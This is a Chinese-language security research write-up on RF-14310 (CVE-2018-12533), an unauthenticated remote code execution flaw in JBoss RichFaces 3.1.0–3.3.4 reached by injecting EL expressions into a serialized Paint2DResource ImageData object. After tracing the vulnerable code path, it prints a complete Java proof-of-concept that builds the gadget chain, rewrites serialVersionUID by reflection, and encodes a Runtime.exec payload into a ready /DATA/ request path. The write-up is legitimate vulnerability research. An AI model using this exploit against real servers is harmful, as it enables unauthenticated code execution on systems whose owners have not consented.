作者:lucifaer
作者博客:https://www.lucifaer.com/
RF-14310,另一個RichFaces的漏洞,利用面要比CVE-14667廣。
0x00 漏洞概述
JBoss RichFaces 3.1.0 through 3.3.4 allows unauthenticated remote attackers to inject expression language (EL) expressions and execute arbitrary Java code via a /DATA/ substring in a path with an org.richfaces.renderkit.html.Paint2DResource$ImageData object, aka RF-14310.
根據漏洞描述,可以知道漏洞可以通過org.richfaces.renderkit.html.Paint2DResource$ImageData對象注入EL表達式來完成遠程任意代碼執行的漏洞。
0x01 整體觸發流程
這個漏洞是在CVE-2018-14667之前爆出的,CVE-2018-14667的觸發流程和其非常相似所以只談幾個較為重要的點。
總體來說這個洞還是出現在RichFaces資源加載的地方,可以說14667是這個漏洞的另一種利用方式。
當一個資源請求被調用時就會調用org.ajax4jsf.resource.ResourceLifecycle類,而在該類中實現資源發送的方法是send,在send中主要的功能由sendResource方法實現,而在sendResource又存在一個關鍵性的send方法:



我們看一下send方法的繼承類:

在CVE-2018-14667中可以使用UserResource的send觸發點來執行EL表達式,而在RF-14310中是利用Paint2DResource來執行EL表達式的。
0x02 漏洞分析
重復的反序列化那一部分就不再贅述,主要看觸發流程。
2.1 反序列化流程
根據0x01中的繼承關系,我們直接看漏洞觸發點Paint2DResource這個類的send方法:

可以看到這里的ImageData同樣來自于restoreData這個方法,而這個方法同樣是利用getResourceData來從resourceData映射中獲取資源,而setResourceData的過程同樣在org.ajax4jsf.resource.InternetResourceService$serviceResource中。

所以反序列化流程是和CVE-2018-14667相同的。
2.2 EL執行點
跟進MethodBinding的invoke方法:

可以看到在MethodBinding調用invoke之前,MethodBinding就已經執行了EL表達式。也就是說可以在ImageData的_paint屬性中加入我們的EL表達式,下個斷點來證明我們的想法:

值得注意的是,在構造poc時,需要使用MethodExpression的對象,這就意味著需要附加一個針對不同Tomcat版本的ssid(serialVersionUID)。
2.3 觸發流程
就像0x01中所說的一樣,在加載資源類時都會調用,和CVE-2018-14667不同的是,RF-14310利用時并不需要資源對象為緩存類對象,同時對于資源請求的標簽沒有限制,沒有要求InternetResource必須為userResource:

所以說可以直接發包調用資源觸發漏洞。
0x03 構造POC
和CVE-2018-14667相同的部分就不重復說了,以下就談一下寫這個POC需要注意的幾個點。
3.1 suid(serialVersionUID)的限制
suid的主要作用簡單來說就是保證序列化對象與反序列化對象的一致性,在richfaces中是調用javax.el.*來實現的,而不是調用lib中的org.jboss.el.*來實現的,所以在寫poc時最好利用反射把javax.el.MethodExpression中的serialVersionUID重寫一下,保證在面對不同容器版本時設置不同的serialVersionUID:
// tomcat8.5.24 MethodExpression serialVersionUID
Long MethodExpressionSerialVersionUID = 8163925562047324656L;
Class clazz = Class.forName("javax.el.MethodExpression");
Field field = clazz.getField("serialVersionUID");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(null, MethodExpressionSerialVersionUID);
當然也可以手動導入不同版本容器的el-api.jar來實現。
3.2 選擇合適的利用鏈
我根據CVE-2018-14667的poc選擇了:
javax.faces.component.StateHolderSaver
com.sun.facelets.el.LegacyMethodBinding
com.sun.facelets.el.TagMethodExpression
com.sun.facelets.tag.TagAttribute
org.jboss.el.MethodExpressionImpl
expr = poc
這個是我覺得最簡單的一個利用鏈了,當然在LegacyMethodBinding可以換成除了ConstantMethodBinding和SimpleActionMethodBinding的任意一個。
3.3 利用反射給private static final對象賦值
其實問題的關鍵點在于如何利用反射去給
public class public class Paint2DResource extends InternetResourceBase{
private static final class ImageData implements SerializableResource{
}
}
這樣的類型賦值,同時要注意到private static final class ImageData是沒有無參,無構造函數的私有類,所以沒有辦法直接通過getDeclaredClass()直接獲取。方法就是首先反射創建Paint2DResource對象:
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
這里的getDeclaredClasses返回Paint2DResource的所有構造器,之后遍歷該對象中所有的構造器找到構造器名稱中帶有private的構造器,然后進行賦值操作:
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);
這里需要注意c.getDeclaredConstructor()參數應為空說明獲得的是一個無參的構造器,而cc.newInstance(null)參數為null說明實例化的是一個無構造函數的對象。
完整版POC
import com.sun.facelets.el.LegacyMethodBinding;
import com.sun.facelets.el.TagMethodExpression;
import com.sun.facelets.tag.TagAttribute;
import com.sun.facelets.tag.Location;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;
public class CVE_2018_12533 {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根據文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Location location = new Location("", 0, 0);
TagAttribute tagAttribute = new TagAttribute(location, "", "", "", "createContent="+pocEL);
// 1. 設置ImageData
// 構造ImageData_paint
MethodExpressionImpl methodExpression = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, methodExpression);
MethodBinding methodBinding = new LegacyMethodBinding(tagMethodExpression);
Object _paint = ct.newInstance(null, methodBinding);
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
// 設置ImageData_width
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);
// 設置ImageData_height
Field _heightField = imageData.getClass().getDeclaredField("_height");
_heightField.setAccessible(true);
_heightField.set(imageData, 120);
// 設置ImageData_data
Field _dataField = imageData.getClass().getDeclaredField("_data");
_dataField.setAccessible(true);
_dataField.set(imageData, null);
// 設置ImageData_format
Field _formatField = imageData.getClass().getDeclaredField("_format");
_formatField.setAccessible(true);
_formatField.set(imageData, 2);
// 設置ImageData_paint
Field _paintField = imageData.getClass().getDeclaredField("_paint");
_paintField.setAccessible(true);
_paintField.set(imageData, _paint);
// 設置ImageData_paint
Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
cacheableField.setAccessible(true);
cacheableField.set(imageData, false);
// 設置ImageData_bgColor
Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
_bgColorField.setAccessible(true);
_bgColorField.set(imageData, 0);
// 2. 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(imageData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
// 3. 加密(zip+base64)
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
}
}
效果:

0x04 Reference
- https://access.redhat.com/security/cve/cve-2018-12533
- https://dzone.com/articles/what-is-serialversionuid
- https://docs.oracle.com/javaee/6/tutorial/doc/bnahu.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/766/
暫無評論